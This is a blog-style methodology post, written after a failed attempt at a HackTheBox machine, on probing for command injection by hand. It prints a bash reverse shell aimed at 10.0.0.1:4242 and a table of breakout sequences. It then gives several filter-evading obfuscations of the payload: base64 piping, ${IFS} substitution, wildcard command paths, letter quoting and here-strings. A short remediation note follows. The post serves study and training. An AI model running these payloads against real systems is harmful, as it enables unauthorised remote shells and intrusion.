Manual Command Injection
The other day, I took a swing at HTB Cozy Hosting. The box is an easy level one that focuses on discovering an infoleak from a misconfigured API enumeration that allows the player to gain access to an authenticated page that suffers from a command injection vulnerability.
While I was able to find the infoleak pretty well, and access the authenticated page, I was unable to build an injection payload and gain initial access, which ultimately lead to me being defeated!
To make sure I don't get stopped by something like this again, I'm going to set forth a methodology for probing command injection manually.
The structure of all injection attacks.
All injection strings, regardless of whether it's SQLi, command injection, XSS, etc etc, are all going to consist of 3 principle parts:
- A "breakout" sequence that lets us escape from the intended command.
- A payload segment that runs our intended malicious command.
- A "break in" sequence that returns us to the intended flow of the code without throwing an error.
For example:
breakout | payload | break in |
---|---|---|
; |
bash -i >& /dev/tcp/10.0.0.1/4242 0>&1 |
; |
Alltogether, this would be ;bash -i >& /dev/tcp/10.0.0.1/4242 0>&1;
The ;
character is the bash line terminator, so by placing it, we "break out" of the normal program flow, and then by placing another, we keep our malicious payload seperate from any parameters the original command string contained, i.e. allowing the original code to "break in" without affecting our malicious sequence.
Breakouts
Here's some examples of breakout sequences for command injection:
Breakout | Example in a full command | Explanation |
---|---|---|
; |
netstat -tunlp;uname -a |
The semicolon is the line terminator in bash, so whatever is after it is treated as it's own command being entered on a seperate line. This would run netstat and uname . |
' |
nc -nv 'uname -a' 127.0.0.1 22 |
Backtick is an inline execution operator. Usually this is used to provide the output of one command into another, but we can also use it to simply execute another command and cause the original command to error out. |
${} |
nc -nv ${uname -a} 127.0.0.1 22 |
Does the same thing as backtick |
& |
nc -nv & uname -a; 127.0.0.1 22 |
Runs the command left of the & in the background, and the command to the right in the foreground. Note that in this example, I use a terminating ; to simulate terminating an injection into the netcat command. |
&& |
nc -nv && uname -a; 127.0.0.1 22 |
Runs the command to the right after the command to the left completes successfully. Note that this example would not run, as nc would return with an error. Because of this, && can only be used at the end of the original command. |
Payload Shenanigans
Let's start with a basic bash reverse shell:
bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
This will send a bash rev shell back to host at 10.0.0.1 on port 4242.
Obsfucations
Base64
A simple technique we can use to bypass some filters is to use base64 encoding. First, we'll take our example payload and use base64
to encode it
echo "bash -i >& /dev/tcp/10.0.0.1/4242 0>&1" | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80MjQyIDA+JjEK
Alternatively, if you're justing wanting to play with these in your own terminal for testing, perhaps use whoami
(encoded: d2hvYW1pCg==
) as your encoded payload.
With this, we could build the following:
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80MjQyIDA+JjEK|base64 -d|bash
This
- outputs the base64 payload
- pipes it into base64 for decoding
- pipes the decoded command into bash for execution
simple as.
Avoiding spaces
If our input cannot take spaces for whatever reason, we can do the following:
echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80MjQyIDA+JjEK|base64${IFS}-d|bash
IFS
is a command that more or less inserts a space at it's location. By doing this like so, we can pass our shell without using spaces.
Using shell wildcards.
If for some reason, we can't use certain commands, we can try using wildcards to execute commands. Commands are just files that live in a particular directory, usually /usr/bin/
or /bin/
. Knowing this, we know echo
is really /usr/bin/echo
, base64
is /usr/bin/base64
etc. So we can do something like this:
/u*?/b?*/e??o${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80MjQyIDA+JjEK|/u?*/b*?/?a*e6?${IFS}-d|/u?*/b*?/b?s?
Now we're looking like some straight up leet haX0r stuff!
What we're doing is more or less putting in shell wildcards in such a way that there can only be one true result. ?
tags a single character while *
tags multiple.
So /usr/bin/echo
can be /u*?/b?*/e??o
, and so on with the other commands.
Quoting letters
We could go further like this:
/'u'*?/'b'?*/'e'??'o'${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80MjQyIDA+JjEK|/'u'?*/'b'*?/?'a'*'e'6?${IFS}-d|/'u'?*/'b'*?/'b'?'s'?
All I've done here is wrapped all of the alphabetic characters in the commands with single-quotes. This could help break up any string regex patterns. It can also be used in a simple case like this:
w'h'o'a'm'i'
Dodging pipe filters
If pipe is filtered, we can effectively write the payload backwards:
bash<<<$(base64 -d<<<$(echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80MjQyIDA+JjEK))
This is done without all of the other obsfucations for clarity's sake, but they could be added on as well if desired or necessary.
Notes on remediation
In PHP, the typical "good" remediation for command injection is to use escapeshellarg()
.
This function places single quotes around a string and escapes all single quotes within the string. Effectively, this means none of the special characters we use to "break out" will be interpreted as directives to the command shell, but rather will be parsed as simply string content.
If the injection vector is being done through a variable that populates a command parameter, this should be sufficient to secure the application in most cases.